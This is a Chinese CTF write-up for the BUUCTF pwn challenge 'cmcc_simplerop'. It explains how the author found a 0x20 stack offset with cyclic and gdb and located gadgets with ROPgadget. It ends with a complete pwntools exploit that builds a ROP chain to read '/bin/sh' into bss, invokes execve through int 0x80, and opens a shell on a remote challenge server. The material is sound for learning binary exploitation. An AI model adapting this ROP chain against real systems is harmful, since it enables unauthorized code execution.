cmcc_simplerop
cmcc_simplerop
参考大佬的博客:https://www.cnblogs.com/bhxdn/p/12330142.html
谢谢这位大佬
安全检查
流程分析
在ida里发现偏移只有0x14,可是看完别人的wp后,发现偏移有0x20,测试的方法如下
先用cyclic 200生成一个字符串
然后在gdb中测试偏移
可知偏移为0x20
漏洞利用
通过工具Ropgadget查找可调用的函数
在查找可用的gadget,可以找到很多这里我不贴出来了
调用函数为int 80,当调用号为11时,调用sys_execve
关于调用号,可以看看这个人的博客
https://blog.csdn.net/xiaominthere/article/details/17287965
然后可以通过read函数来将bin_sh输入在bss段上
exp:
from pwn import * #p=process('./simplerop') p=remote('node3.buuoj.cn',26642) elf=ELF('./simplerop') libc=ELF('../libc-2.23_32.so') #context.log_level = 'debug' int_addr=0x80493e1 pop_eax=0x080bae06 pop_edx_ecx_ebx = 0x0806e850 read_addr= 0x0806CD50 bin_sh=0x80EBF79 payload=p32(61)*8+p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(bin_sh)+p32(0x8) payload+=p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bin_sh)+p32(int_addr) p.recvuntil('input :') p.sendline(payload) p.sendline('/bin/sh\x00') p.interactive()
总结
这一个题目学到的挺多的,比如系统调用,比如灵活运用工具等,最主要的是对栈的了解
通过这道题,我发现ret返回的地址是当前esp指向的地址